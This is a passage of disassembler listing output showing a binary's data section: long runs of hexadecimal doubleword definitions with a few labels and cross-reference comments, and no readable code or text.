8E63B8CAh dd 0E587802Ah, 66443214h, 422EB9E9h, 0E7F2BB46h, 668836D6h dd 6287B115h, 3A062E92h, 66113BFCh, 0ADA3AD15h, 688E6044h dd 0D3DD8552h, 60032BD4h, 833DCDE9h, 69422038h, 66223D9Fh dd 661BDB15h, 0C9613215h, 83D85F25h, 48FEB55Bh, 0E7F3BB47h dd 668836D7h, 62AEB115h, 3A062692h, 8F350E9Ch, 66883210h dd 11EC3003h, 397CD99h, 9E172037h, 0D773B798h, 624340Dh dd 0A9E08A73h, 7D38D1Ah, 668AB41Ah, 40F63215h, 6F2CD74h dd 0E75AF295h, 241EDCDDh, 0EB45532Ah, 6030106Ch, 661FDB75h dd 1BA33215h, 998EFF8Eh, 809F8FFFh, 0A2ADB0C1h, 0DFF6C394h dd 0ED255B7Bh, 743BF3A8h, 661FDB13h, 6B4E3215h, 4B009DE8h dd 0A48D395Ah, 9C62B6A9h, 4B6D879Eh, 8FBD3407h, 66223210h dd 94FBE0AEh, 62CC122h, 0DA95B373h, 4F448CCEh, 6970113Fh dd 66883596h, 67C33D15h, 9E223215h, 49BC879Eh, 0CB7D3407h dd 6643BA1Ah, 0E12D3215h, 66113214h, 663062ECh, 35443215h dd 99DDCEAEh, 0EFE233EAh, 93D06916h, 6941F2D4h, 6622279Ah dd 6FF85215h, 63883215h, 4D38EDB5h, 0CD593C63h, 969461AAh dd 0DFD9537Dh, 1317078Ch, 1E2EC394h, 0C21418BEh, 67A2ED05h dd 76E01FDDh, 67B18CAh, 0F43DF394h, 86086F8Dh, 0E34753E0h dd 60303A80h, 66113CFCh, 0F7612D15h, 0C5CE549Ch, 0B991362h dd 0EDF0E290h, 7491F398h, 0D4BC5213h, 0E02D53EBh, 66113214h dd 663260E0h, 0E7443215h, 310302FFh, 0E7D33348h, 31A902D7h dd 3C4EBB48h, 66223BFCh, 384EA215h, 6A8AE076h, 77AD611Dh dd 15223215h, 0B2DEC0C7h, 571B5CB0h, 77910583h, 488ED086h dd 67973DB8h, 9F883215h, 66448946h, 38AB3215h, 420DB9E9h dd 668CF694h, 6DAD3215h, 80223215h, 3517FF8Ah, 0F58B1A65h dd 0D3CD0061h, 60301DB8h, 99E9B1EDh, 6646B71Ah, 0DE243215h dd 1D56FF67h, 0BB2FB374h, 6955EFC8h, 66448990h, 6630DB15h dd 96B23215h, 0AA22BF9Fh, 0AFA0FF70h, 87E33DDEh, 0D0541085h dd 4ED48B44h, 97C52D3Bh, 62460828h, 4205C544h, 0AF097B4Ch dd 73DF2C6Eh, 99DDDB94h, 6898C7AAh, 680F3D4Ch, 6443215h dd 6622BD1Ah, 0EC1E3215h, 66883215h, 0B2CCA74h, 0EF22325Ah dd 62AA1609h, 67883215h, 692469CBh, 9A43C3A2h, 49BC879Ch dd 0EDE83407h, 72786E5h, 663CB11Ah, 0ED1E3215h, 6688320Dh dd 664421FCh, 75158615h, 0FC5D89AFh, 5CD074DEh, 1F5AC831h dd 0CEEBB1EAh, 99C5ACFCh, 7B023DEAh, 69443215h, 66222594h dd 6603DB15h, 7A453215h, 6F7E0Fh, 73E9ADA1h, 4F5A206h dd 301A66EDh, 9E47F2D4h, 6EB7B716h, 76F83407h, 99883215h dd 72362C70h, 87DCC960h, 0CC6035A2h, 694F47ADh, 6644339Dh dd 0DBA1CE15h, 600336ECh, 890C3D14h, 6443216h, 0D92DE49Eh dd 589053DCh, 0CC2298BFh, 66A2B71Ah, 74CB3215h, 2B113215h dd 770F7BAEh, 616D9558h, 0C7208B56h, 8E003ABFh, 0DFD961C1h dd 3FD075A5h, 25E2F394h, 0BFE67478h, 918AD3D4h, 2385B3C4h dd 0EF5DCBC7h, 0B8106BDEh, 669ADB4Eh, 6ED03215h, 897852BEh dd 0B11DEDA5h, 5605BAA8h, 5C6576Eh, 66228F40h, 0E7443215h dd 5BA41611h, 20CB7AA6h, 9A4CB3E9h, 2EA20F39h, 610A3D48h dd 6443215h, 0ED446A42h, 314153D2h, 0E5AC369Eh, 8F1B36D1h dd 6622321Ah, 7B49DDA7h, 4A649DC0h, 5E5452D4h, 0E7B0C45Ch dd 661136F9h, 4294BB15h, 9ECCDBA2h, 75A23D4Eh, 6113215h dd 66883EFCh, 0A890F015h, 0D18178A2h, 0FC17F01Ch, 0E9875338h dd 66443204h, 66223EFCh, 0C8FA5515h, 0E8967B85h, 0E5897894h dd 6666DB82h, 6713215h, 9998D73h, 5B2CB0AFh, 0A09C5307h dd 709CD2Ah, 62036545h, 6280B331h, 39223215h, 70A760ECh dd 0E651D495h, 96CC1AFBh, 0E506269Eh, 69F836D1h, 0E6883215h dd 0B34CFC4Ah, 74A100F9h, 0B1F70CB9h, 39E09032h, 0EF44322Ah dd 0E92D1611h, 6611320Dh, 6684DB75h, 0D6883215h, 4659FFA7h dd 0F68DD0F6h, 88338A82h, 7783685h, 64AE3D75h, 34113215h dd 0DB0B534Ah, 6056379Ch, 1DA63D14h, 93113214h, 318104ADh dd 6EA4F332h, 6764D418h, 15AF6468h, 4FA1936Eh, 18416CE5h dd 5362E231h, 769B76BAh, 2B2D9010h, 6AC33D6Ch, 69223215h dd 66113492h, 660E3D15h, 0E5443215h, 7F56E6A8h, 0E21E3213h dd 66883271h, 21018D75h, 0EB430FFEh, 7ED98588h, 6699DB13h dd 0E98A3215h, 529E602Eh, 3DE9DD47h, 0CE387044h, 69C5D180h dd 66223891h, 0E7775215h, 0E802E6h, 9925EA9Eh, 6630DBC6h dd 0A87A3215h, 9ACC749h, 9CB90F8h, 363F477Bh, 5F364633h dd 668821FCh, 22A04015h, 0B27F3C55h, 7434F866h, 3E4DF07Bh dd 296C6EE6h, 69B20D95h, 66116291h, 6698DB15h, 2C303215h dd 9C568957h, 5843CFDBh, 0DA906BD9h, 0DC16DCAFh, 66223210h dd 74E4F594h, 0B1894655h, 74B1DD94h, 8F784655h, 66113213h dd 615B1E23h, 0FDADE148h, 6223214h, 8F0AEF95h, 66883219h dd 4152BD66h, 5344B82Eh, 703EC429h, 3670B174h, 6634B01Ah dd 37D73215h, 93915BA0h, 237DB2D5h, 8E4496A5h, 6633DB4Ch dd 18E83215h, 0B08DE894h, 12F1161Eh, 0A0D16819h, 0CCFD53F2h dd 428CB9EDh, 0E7A1BB40h dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h, 66223A90h dd 64943D15h, 6883215h, 69EECA74h, 66222291h, 6FF85215h dd 0D2883215h, 0C8885770h, 0D74F1D26h db 74h byte_5C3A41 db 0DBh, 8Ah ; DATA XREF: ___:off_437FB8o byte_5C3A43 db 66h ; DATA XREF: ___:off_43A0E8o dword_5C3A44 dd 0E83215h, 0D6602DABh, 62A95385h, 87986331h, 668CF394h ; DATA XREF: ___:off_43A0E0o dd 0A7C73215h, 422EB511h, 6BBCB49h, 668837FCh, 98AC9915h dd 0EC2D06A5h, 66113217h, 0E6E96A45h, 69ADCD6Ah, 66225290h dd 0DB92CA15h, 609146C1h, 4FC03D15h, 9A223215h, 0A140AF98h dd 0E487340Dh, 66443211h, 7DAC775h, 77F8E1EAh, 0CB883215h dd 5EA4C28Ch, 0F6882BACh, 0ADDDC2E0h, 0A5B817B5h, 66408847h dd 8CA33215h, 37DA3D8Eh, 0A409C814h, 378F3D8Eh, 8F78309Dh dd 66113218h, 0BB719F39h, 1E45FCE3h, 7DF538AEh, 0A794B99Ch dd 8F8E200Ch, 6644321Ah, 45786EF0h, 0D350304h, 0E7B8E192h dd 4B555E81h, 6EC04E4Eh, 0D902B838h, 63701B79h, 0AFB219Fh dd 845E6910h, 661CDB1Dh, 4DD83215h, 0B2D1C9EFh, 9270F19Eh dd 353C31D7h, 668836AEh, 71161F15h, 0BE0B403Bh, 48066010h dd 8FE86967h, 66443218h, 3F7157A7h, 3F787B00h, 51497F46h dd 7EE8483h, 0DD7552BEh, 72080205h, 0FE31544Ah, 69E953CEh dd 66223391h, 0D946CB15h, 66883215h, 0EDB84C9Ch, 0A2A11629h dd 7C963D11h, 6883215h, 76ACE19Eh, 0EC223215h, 4E318883h dd 0AB2C6046h, 8EC982B8h, 3D75F055h, 9CD5DB74h, 36E8CDEAh dd 6654DA4Ah, 1C4D3215h, 0CC7F786Dh, 95B0483Ah, 974175A9h dd 778C69Fh, 49BC879Ch, 68613407h, 6F443215h, 433E34F9h dd 0DA160E61h, 429D508Eh, 86CD621Ah, 66223610h, 66151F15h dd 620F3215h, 72CD6E31h, 0B7A95231h, 661EDB75h, 28C63215h dd 2C2840Fh, 0A08EE84Bh, 3B2805BFh, 66063D70h, 7443215h dd 0E6225A74h, 8E713215h, 66883218h, 0B645C493h, 100ADFF8h dd 45579688h, 660B3DC8h, 3F443215h, 6225874h, 6617B91Ah dd 0E9873215h, 66443215h, 7F1B973h, 79C087EAh, 72613407h dd 0AE443215h, 0A25B6723h, 0A43C7B64h, 70253157h, 0AA93E760h dd 997C6C15h, 743EDF80h, 6E003D13h, 69443215h, 6622309Ah dd 0ED705215h, 0EFDD1601h, 6281B3F0h, 0E5223215h, 4A9636D0h dd 0E0876E31h, 66443218h, 0B8A35475h, 0E01EA2CAh, 66883215h dd 1FC9B974h, 8F24200Ch, 66113204h, 0CAAD36F5h, 0E9E5936Eh dd 0A1486C61h, 0F5905BD4h, 80E06587h, 0ED06544Dh, 0A2A31629h dd 66113211h, 3E6EC594h, 5FCD7073h, 67AD3D4Ah, 9A113215h dd 668C8D42h, 8FC53215h, 5D6B5236h, 0A790CB14h, 5DC15236h dd 67CD3D4Ah, 93223215h, 7F68BF9Ch, 6D613407h, 6443215h dd 0C0453E1Ah, 0E0864C82h, 3061F79Eh, 69BBCDD2h, 66222592h dd 6603DB15h, 0E3C03215h, 22CA5998h, 34BBAD47h, 0CB4FF3D7h dd 0DD7FF416h, 666F0EFCh, 6EA63D15h, 69113215h, 66883092h dd 6255215h, 662226FCh, 4961A215h, 9B4EEBB5h, 201C408Fh dd 842E2E0Ah, 98D5424Ah, 1F05B961h, 642200Ch, 63CAC29Eh dd 0D0113215h, 0D33C1689h, 6644B71Ah, 7793215h, 0ED20CDEDh dd 0A2091619h, 66443211h, 0B8A95475h, 733DB95h, 1258BF9Ch dd 69AD340Ch, 4F223215h, 11CDCC49h, 0BB6DB725h, 8507635Fh dd 5EA35E42h, 2A55665Bh, 66F1B71Ah, 0E84B3215h, 6622321Fh dd 661137FCh, 4E2B6715h, 0E722CBC9h, 486E366Dh, 664CB71Ah dd 0E4873215h, 66443214h, 67A03DECh, 9E113215h, 668CDE94h dd 62CD3215h, 420EB331h, 476E4B85h, 0F64EB34Bh, 9E654D6Ch dd 0BEC4B375h, 7071BE7h, 60326044h, 0EF443215h, 0A82368C4h dd 69973D4Ch, 8F883215h, 6644321Fh, 70CBB891h, 0DCE17DCh dd 0E30329A5h, 605612E4h, 62FDDBECh, 34E93215h, 0B0016845h dd 0D922524Fh, 0D944076Ah, 3770E87Bh, 0AC01F39Ch, 0E5603E9Eh dd 60CB36D1h, 0FD113215h, 868FF2E4h, 8F8D03FCh, 6622321Eh dd 465B10CAh, 0A2EDDF0Dh, 8FEFB048h, 6622321Eh, 49F1AF8Fh dd 4939D9C5h, 0CA08FC4Eh, 66223EFCh, 5D11F15h, 0F7242919h dd 0DDAA8DC3h, 69220EC5h, 66104A91h, 6698DB15h, 93F23215h dd 7B3B6053h, 0FEEF3239h, 5A4E5488h, 24CF6Ch, 695B05AEh dd 66113497h, 660D3D15h, 7443215h, 0E22D1F29h, 99EECDA2h dd 0B8095275h, 2B504585h, 77CB53ECh, 0CF113215h, 15A98D1Ah dd 71811914h, 557DE53h, 254E1966h, 69A60E74h, 66448C91h dd 6BA43D15h, 6113215h, 0D8301EAFh, 66C33D68h, 7223215h dd 0E41E0229h, 6688368Dh, 697D0EE0h, 99DD5893h, 6D923DEAh dd 8F883215h, 66443213h, 29BC88D9h, 272D98E7h, 62FEB01Ah dd 69B13215h, 66223393h, 3C2DCE15h, 99C9B41Ah, 6DADCDEAh dd 1E223215h, 0A6D3F973h, 0FE6B04FBh, 3978545Dh, 990BB61Ah dd 0E71ECDEAh, 66883207h, 66443FFCh, 51396715h, 6A563FD5h dd 0ED40484Ah, 7780222h, 620CB01Ah, 75F83215h, 0CF883215h dd 931B7FCCh, 38B797B0h, 0A890184Ch, 1734D78Fh, 1C786CE4h dd 98CBB41Ah, 8FE4CDEAh, 6688361Dh, 66443CFCh, 8699EC15h dd 9E919F08h, 0AC973677h, 36105E3Ch, 662233ADh, 3ED33315h dd 93C58875h, 0E7221099h, 7B441F6h, 0E21EC02Ch, 668831CDh dd 66443EFCh, 91DF1715h, 0B9845E8Dh, 9D602C4Eh, 0A6C7A0B6h dd 9AD7A0EAh, 66108F40h, 8F893215h, 6648DB48h, 21DB3215h dd 12A971EDh, 568EAAD4h, 1AADA0EFh, 6DDCDEBh, 6610B71Ah dd 713215h, 0A9C7FC94h, 69EBB774h, 6612B991h, 63023D15h dd 6443215h, 7E98D1Ah, 949ACA75h, 533DBF74h, 6422033h dd 0B59D3D44h, 64993D4Fh, 6883215h, 0EF145374h, 4AA362C5h dd 0E642C831h, 0A7096B58h, 2BC461EFh, 0DD4ACE4Dh, 0EF113203h dd 6D71601h, 93255275h, 0D5715374h, 0E6DACC21h, 0AD76B8FEh dd 0EE3ED995h, 423EB9CDh, 8F15F696h, 66883219h, 1D84E751h dd 26E99E40h, 0F7632F9Ah, 9A7547BBh, 0FD9BB375h, 9F24049Fh dd 46F8B374h, 0E7FBBA1Fh, 0E62E7AFCh, 0E7DB1B61h, 0E67B7AD4h dd 4649B361h, 637BA1Fh, 95C38973h, 6614BA1Ah, 0E7EE3215h dd 7760CF7h, 6622327Dh, 4215B315h, 35CE057Dh, 0E7603E3Ch dd 514A1639h, 69486153h, 66883A93h, 64C33D15h, 6223215h dd 94FEB374h, 4F94353Dh, 0D7FC62DAh, 53146B28h, 4C4F2756h dd 69D0F514h, 66443393h, 9113CE15h, 9120CC24h, 668839FCh dd 0F5DE7615h, 0B578DEA8h, 2E9AF900h, 0A07196E6h, 0E6B2CD52h dd 0E673CD52h, 3514CD52h, 9977CDAEh, 0E6BF33EAh, 8F797E26h dd 66113201h, 9B83C758h, 0AC0EDED8h, 80ED8603h, 44B99543h dd 8582ADB8h, 4071A798h, 0E22D3407h, 66113201h, 66883DFCh dd 0ED4D2C15h, 75768F3h, 5D02D427h, 0A95C7B83h, 6EC5B79Eh dd 0EE2D3407h, 66113214h, 0A60DCAE9h, 663CB71Ah, 0A0DE3215h dd 74394390h, 75617513h, 0A1443215h, 542E7E60h, 0A2317476h dd 6EB8D63Bh, 0C4776102h, 0B44A7170h, 6C5A8B2h, 99D98D73h dd 66443AFDh, 0FBE9B515h, 6D7C0BB2h, 66093D80h, 38443215h dd 8F97CD74h, 69172025h, 6688359Ah, 67CE3D15h, 9A223215h dd 1924B798h, 0EC873400h, 66443202h, 662220FCh, 0FC3BEA15h dd 4B7EA82Ch, 0E072B92Ch, 88B93AF1h, 99B0778Ah, 8A0BCAC5h dd 4250BB11h, 66223AFCh, 87DAA915h, 0E91CC86Fh, 694CD34h dd 0AF9D3DE0h, 69D1B774h, 6688CA90h, 0E3CFCE15h, 603012D4h dd 661122FCh, 0E1526915h, 0DC5EC8FDh, 8E15E1C9h, 0B9F3BEDFh dd 6948B75Bh, 66449690h, 74AF3D15h, 69113215h, 66883E9Dh dd 6643DB15h, 0A0183215h, 0CEEDE78Dh, 170DF4B4h, 2A42203Dh dd 6634BB1Ah, 0E01E3215h dd 66883205h, 664439FCh, 968F3F15h, 0E89B4101h, 0D4D40F60h dd 0BC58DB7Dh, 662ADBCCh, 2CCD3215h, 0C0FD734Fh, 0D3BB7CA0h dd 603002FCh, 66113AFCh, 79025815h, 0E4713665h, 53A7BF06h dd 617276Ah, 0A321E194h, 69242992h, 6622329Eh, 9E9A5415h dd 0B6775374h, 66443CFCh, 0A7B26415h, 0DE103C09h, 85F53107h dd 8F9A793Ch, 66223204h, 0A27AC160h, 0B92F619Eh, 0C4EC1568h dd 38992E69h, 5BA55A72h, 72013215h, 0B6BBCB31h, 39D76575h dd 0E13B9BABh, 0E85309h, 696D23AFh, 66223292h, 0A6945315h dd 668FB71Ah, 8FB13215h, 66223285h, 0B694BBE9h, 68E2B61h dd 6EADEC9Eh, 0A3223215h, 945D815Ah, 7B7E6ECh, 0E7A3BB42h dd 662236D2h, 62FEB315h, 0E1883215h, 0EF181629h, 0EDB1611h dd 66114D03h, 8FAC069Ch, 66443218h, 0E5A16BACh, 63479638h dd 73BE04Fh, 0BAC1BF95h, 69242764h, 6611269Dh, 6687DB15h dd 0E9323215h, 799D7E6h, 0A4D9296Dh, 8C7ABD9Ah, 9394CD87h dd 0E32DF21Eh, 66113202h, 600F3D75h, 0E7443215h, 0C23F54CBh dd 0F5E7B25Ah, 668EDB74h, 0EFB83215h, 933E1651h, 6605DB74h dd 42E93215h, 72A7A0CEh, 413B1E31h, 0C56DA5D1h, 11062E54h dd 6870037h, 643F19Fh, 661138FCh, 5B838715h, 6B0AF997h dd 6989F9E0h, 6611219Ah, 6686DB15h, 0A50A3215h, 91AAD572h dd 153D6428h, 0E2142437h, 1294BF9Eh, 0E52D340Ch, 6611321Ch dd 0D06375h, 6E64D194h, 81AB6574h, 6615F594h, 890B3215h dd 4278B511h, 4226BB49h, 6CF8C775h, 39883215h, 49CBE8h dd 50E288A3h, 37435348h, 11AC1E94h, 3C1DC33Eh, 4D55F094h dd 0B6986BE4h, 750E3D4Fh, 8F443215h, 6622321Bh, 66F793B3h dd 14D4CFFDh, 0B0BCF6AFh, 0DC7080D5h, 66113229h, 648BF014h dd 0E760269Eh, 662236D1h, 639C3D15h, 6883215h, 72552E9h dd 66AA82EAh, 729A3215h, 624CB131h, 2452E9h, 0FEAFD894h dd 309EF094h, 0E96C50h, 962E994h, 6FB7BB74h, 8F172015h dd 66883201h, 0CE417E09h, 7A948205h, 94A0D6E0h, 0E6A08579h dd 0F486EFF8h, 1ED95AECh, 52983215h, 3BE8C31h, 0A0C57DB8h dd 0D670A9D7h, 8F4FC214h, 66883213h, 83E4B996h, 16DD631Fh dd 4205B919h, 68CF696h, 66443EFCh, 0D7EB0815h, 9631C0A8h dd 96968154h, 0F3CD532Ah, 60300704h, 649C3D75h, 0ED883215h dd 6925C7EFh, 66223E92h, 609D3D15h, 69883215h, 6644329Ch dd 4226B915h, 0E7F6BB42h, 668836D2h, 6283B315h, 0E1223215h dd 64D1629h, 66883AFCh, 0FA521015h, 0E36C6191h, 6618DA66h dd 5643215h, 0EFFDFA8Dh, 8FC289CBh, 66113205h, 826C20FEh dd 0E5F03893h, 0A48EE479h, 7CC0939Eh, 1277534Bh, 62CF1631h dd 62E6B331h, 93113215h, 7D838847h, 8C853EC0h, 0D8C8B310h dd 911D793Ch, 5B4AB3C7h, 4F4369E0h, 0AE0B68C5h, 26671010h dd 6698DB06h, 0D2883215h, 4CD1CC68h, 0A6A89336h, 0E28DF2EAh dd 6EAD894Fh, 18223215h, 7EF9475Eh, 5D974A30h, 74712390h dd 22A03D13h, 69113215h, 66883398h, 0E37FCE15h, 6030321Ch dd 6620B11Ah, 0ED873215h, 66443214h, 75CB53E0h, 1C113215h dd 0E99BAA4h, 72558E10h, 5891D337h, 5091B9B6h, 624A2108h dd 664DDB15h, 5F143215h, 6837D89Bh, 799CCBEh, 664439FCh dd 0F6067A15h, 0CC6B03BAh, 34E1F266h, 746036D2h, 354DF24Bh dd 59B0DCAEh, 42D43385h, 6B86911h, 0C2D4B373h, 7C9B9C0h dd 62AC76D2h, 6B5475D0h, 62067694h, 66113214h, 62AC7694h dd 94AB8A2Fh, 6632B11Ah, 6DF83215h, 0ED883215h, 96CCE40h dd 0F9F83134h, 71D584h, 69EBD8ADh, 6644379Eh, 89A35415h dd 0E5700480h, 5A0136F9h, 66418D31h, 9EAB3215h, 6617DB4Ah dd 0D41B3215h, 67C7C58Bh, 0D3AFBFE0h, 8F172058h, 66883204h dd 1661D2E6h, 5F8D9AFFh, 845083B0h, 0F59E5157h, 93A5CDACh dd 0E7445275h, 6839F2h, 0E7E9EC9Eh, 664436F9h, 4236BB15h dd 661132AFh, 0EC7A3315h, 6DAD6817h, 99223215h, 0EA6FD863h dd 0DBC81B63h, 8F78F71Eh, 67BBB61Ah, 0E6713215h, 0D9872EF9h dd 0EE4B53D5h, 66223214h, 69F90EEDh, 6689F091h, 6641DB15h dd 7A183215h, 6956450Ch, 6688339Bh, 6978CB15h, 6655B61Ah dd 69713215h, 7661EAAAh, 62443215h, 0C58A0C03h, 0E933F0D8h dd 0A5EF6DFAh, 7A2BE9Bh, 0E22DFF29h, 66113016h, 7E86075h dd 6655DA4Eh, 0C3653215h, 714E2DEAh, 51E15D35h, 0F48256BBh dd 693FB8F5h, 74AC0AAh, 0E287D929h, 66443052h, 6624DBEDh dd 0A1F3215h, 0AF0A69A6h, 62C63D74h, 6223215h, 0A570C29Fh dd 7763B375h, 8F18F156h, 6622321Dh, 8300DD34h, 0FBE2FEF4h dd 62A8B174h, 0DF063E9Ch, 66113214h, 7F02C314h, 0E94B524Ch dd 66223205h, 661138FDh, 0B4A98E15h, 8E3F673Dh, 3D8885BBh dd 66983D75h, 8F883215h, 6644321Bh, 4ADDCEA7h, 74954F7Fh dd 0BFA5A462h, 725F75Ch, 904F8047h, 0EAA562CFh, 9801F695h dd 0E688CCD9h, 842A6EE1h, 0E6D3CC4Dh, 0B5A822D7h, 67C83D4Fh dd 9A223215h, 6991C995h, 99775D90h, 0ED12C7EAh, 0A2A31609h dd 66113211h, 668820FCh, 0E5669C15h, 25E35397h, 0AD7D5406h dd 8D0D4495h, 0ED97E01h, 66220EA9h, 0D9350E9Ch, 66883213h dd 9A1BC914h, 66205A45h, 67493215h, 3E9031E5h, 17CE75h dd 3F0416AFh, 67973D74h, 9F883215h, 6644D6FCh, 4EAC3D15h dd 6113215h, 66883FFDh, 86691515h, 0B039DC4Ah, 57370544h dd 8FD6D746h, 6644321Bh, 0C2B03045h, 0A69A5118h, 24A26204h dd 9925614Eh, 7AA93363h, 62D5B131h, 0E751B975h, 0E1FE00FEh dd 6FCB5326h, 77113215h, 223E5A59h, 58C894AFh, 69D9C996h dd 66102091h, 6699DB15h, 88B3215h, 0F98FB80h, 56B2EF41h dd 0E250724h, 0E54E4884h, 52AB36F9h, 4225B331h, 72193DACh dd 0DFB7B34Eh, 8F36A31Ah, 6611321Bh, 9E3B09CBh, 5B9CC44Ah dd 60C32D94h, 0DC43C4EAh, 66883214h, 7C47C014h, 0E506269Eh dd 0E81E36D1h, 66883219h, 6642B11Ah, 0E22D3215h, 66113215h dd 668D8C43h, 95453215h, 0E706069Eh, 661136D1h, 0A7035215h dd 664421FCh, 165C3415h, 662007B8h, 0F4AF3518h, 0D1625742h dd 46E3DE27h, 9823DB74h, 6970CDEAh, 8F456CA3h, 66223201h dd 1589F64Fh, 33E2E6DBh, 57E6F510h, 545A2002h, 8FE261C2h dd 69A6D996h, 99BA3991h, 6632DBEAh, 91CB3215h, 0B088268Ah dd 0F8112FCDh, 7EB9D025h, 0ED1E944Bh, 6688320Fh, 1BCA8C75h dd 68CB4D95h, 83113215h, 75ED409Ch, 52FAAFB5h, 0F9D74B11h dd 46F85317h, 8F883215h, 66443212h, 9D3E8EEFh, 0E6201D72h dd 6976336Bh, 99B98990h, 0ED2D52EAh, 66113217h, 8FE95375h dd 99BBCE5Eh, 535AE0h, 52983215h, 77615231h, 7C443215h dd 0D2441959h, 7504F98Ah, 9EEAD685h, 0CD12A041h, 81AB6574h dd 6615F594h, 890B3215h, 4278B511h, 422EBB49h, 6619BB1Ah dd 69E83215h, 0ED22ECA2h, 0E02D53DDh, 6611320Bh, 6690B51Ah dd 75AD3215h, 6C223215h, 222D71C9h, 1637EA4Dh, 0BF2BA271h dd 2244490Eh, 527946FFh, 0EF88322Eh, 0EC241609h, 74265FEh dd 1479534Bh, 0EF883244h, 6EAD1629h, 64223215h, 0D430A66h dd 5770C070h, 6CC73DD5h, 6223215h, 0E61E5375h, 66883215h dd 37BD9E74h, 8DAAF79Dh, 0E7353E9Eh, 668836D1h, 5CF25215h dd 0AECAB373h, 34775371h dd 0B5A8C2A7h, 4250B973h, 620F696h, 7D08D1Ah, 668839FCh dd 27365F15h, 0E7723CC8h, 800EA2A1h, 69F8C995h, 6641DF91h dd 691ECB15h, 6717B61Ah, 0E3873215h, 66443219h, 6624BB1Ah dd 0E51E3215h, 66883215h, 0EA4B5275h, 66223215h, 6611B91Ah dd 0EDE93215h, 8F7853C3h, 6CD8B61Ah, 6DF83215h, 6F883215h dd 0F8FA1576h, 0EA031CBEh, 5AE42516h, 540C3DFEh, 644321Ah dd 69C10E74h, 66129E91h, 91025215h, 0BD8CB373h, 841E5330h dd 76EFB61Ah, 0E5873215h, 66443214h, 421EB9E0h, 63F1BB45h dd 66883211h, 66443610h, 4226B515h, 6D9A3D49h, 8F883215h dd 66443213h, 2779FABFh, 52EE7FF1h, 0A2096931h, 66443211h dd 4216CDE0h, 62D5B34Ch, 93883215h, 6658B51Ah, 8F423215h dd 6611321Ah, 1899F410h, 0C183027Ch, 561AC396h, 69533869h dd 6688329Eh, 52CF5315h, 86AB6231h, 66113610h, 6248B115h dd 3A603692h, 6629B41Ah, 60F83215h, 36883215h, 2FB2EC1Fh dd 0EF2DF1E1h, 66113202h, 668820FCh, 841E4715h, 58387478h dd 8B78ED1h, 7CCA511Bh, 9A714DA7h, 1382B7D2h, 6617340Ch dd 69E83215h, 0BFC5E2AAh, 2D6DA25Eh, 66A86374h, 0E7883215h dd 9C0F86D4h, 0E7D33310h, 9C5A86FCh, 3F91B810h, 66443DFCh dd 0B8AFC415h, 0D5BBDC2h, 0EAB79028h, 7EA38554h, 470C5AE0h dd 6A983215h, 98298331h, 27B5B2D4h, 46D1DB95h, 0E6E46BDEh dd 0E387B2EEh, 99BBCD14h, 4DF2B375h, 0DC473D2Bh, 4CB5750Ah dd 99FF6174h, 67DDCDEAh, 0D67169CBh, 6E9CB4Fh, 9A17EC9Eh dd 0E3A9534Eh, 60033EA4h, 668826FCh, 0C0B62115h, 0A8B5C4E1h dd 58D502C5h, 5370CBDBh, 0E6D2228Bh, 0B7B7B91Eh, 9A17200Bh dd 0EF8CDE96h, 97CD1619h, 8F7BF99Ch, 6611321Ch, 75D5F5E3h dd 0CF2F540Dh, 609C6429h, 0E7113215h, 568773FEh, 0E7B73327h dd 562D73D6h, 76F86C27h, 0A1883215h, 659B74Dh, 0C8A19C89h dd 0DDC3A04Dh, 9E92DDF1h, 66468B44h, 97233215h, 66118A45h dd 0AE893215h, 3F1C2A16h, 0EF9A52EDh, 0ED1D7EF3h, 0BEB353EFh dd 6662B01Ah, 5DDE3215h, 20973DCFh, 6977CDEBh, 66442594h dd 77AD3D15h, 8F113215h, 66883219h, 0C8D147C3h, 2B02F78Fh dd 91171D5h, 3561D994h, 9D6D3C8Dh, 35CB8C43h, 95103C8Dh dd 0D9EE524Bh, 0ED2261CCh, 0D87453EDh, 66113213h, 7CDDF194h dd 956D28DDh, 7C77D994h, 694F28DDh, 66883A92h, 64C13D15h dd 6223215h, 6BC5474h, 668AB71Ah, 0A5CF3215h, 0AF0F8973h dd 8FBA5474h, 66883206h, 136652F6h, 1881B12Ch, 0F7B23E1Eh dd 0B4951D76h, 67C5159h, 8FDC851Ah, 66113204h, 1F9D7B1Ch dd 5B8C9E11h, 3D4F7BA4h, 0DA80C0A1h, 0BEB95368h, 0BE75F124h dd 6628DB75h, 39E53215h, 75340D87h, 2CD966BCh, 0A2F8B375h dd 0EC36B4DBh, 0CDE953D7h, 7CC33DEDh, 6223215h, 9DDCD394h dd 6B6150F2h, 72443215h, 18700F4Eh, 28174C31h, 0C3ECD137h dd 62FB6574h, 67223215h, 422DB9EBh, 698CF696h, 66443D9Fh dd 6628DB15h, 8F423215h, 5E1DB598h, 497BC901h, 6060E9Ch dd 0F3CBB373h, 6C438B85h, 0EF254EB2h, 8F2E1661h, 66113219h dd 481F6443h, 0B4565340h, 2593852Eh, 462C879Ch, 0ED7D3407h dd 0EF121629h, 62E4B3F3h, 0E5113215h, 520F36D3h, 246E31h dd 9943C09Eh, 0E54A1621h, 6A6136D1h, 0A4443215h, 3AE93A21h dd 1653A395h, 0EDECB814h, 0EF161619h, 62E0B3F7h, 0E7113215h dd 668836D7h, 4250B515h, 662CDB49h, 0E5163215h, 0D82B7184h dd 0E3162877h, 2CF5415Ah, 3735069Eh, 0A709D39Ch, 66443211h dd 6626F394h, 6A963215h, 6A616E31h, 6A443215h, 2B057ACAh dd 0A9CCBAF8h, 355653FCh, 0A5C5D19Ch, 66223211h, 0E115F196h dd 42031609h, 48ADCA31h, 8FDDCDCAh, 66113218h, 0B8D9AD8Fh dd 4CBB38E6h, 0D635DDE2h, 0C694F502h, 648E2B60h, 69443215h dd 66223398h, 0EF46CA15h, 0ED73BBE2h, 0A2C71629h, 69CA5211h dd 4113215h, 0D2C4AF9Bh, 0D9CF02E8h, 9B29C758h, 57ABDED8h dd 3EDF8140h, 7FAFF95h, 692C841Ah, 66112399h, 6D0F3D15h dd 8F443215h, 66223213h, 98007427h, 9F087A2Ah, 1FC73D95h dd 69223215h, 6611259Dh, 77043D15h, 8F443215h, 66223219h dd 0F6916762h, 5363F6DEh, 0D9D8AD3Ah, 0E668C43h, 953802C2h dd 0E743334Bh, 0B12C76D6h, 0E02D5225h, 66113217h, 69DA6D45h dd 71DC0A2h, 66238B44h, 0AD103215h, 0E8CA4Ch, 0E7EC494h dd 0DB8075h, 6DABD494h, 0A0615374h, 6443215h, 66223DFDh dd 0DC518215h, 0F54A563Fh, 5B0141B0h, 0A220E8F9h, 3DE3B973h dd 7A5FA95h, 98688546h, 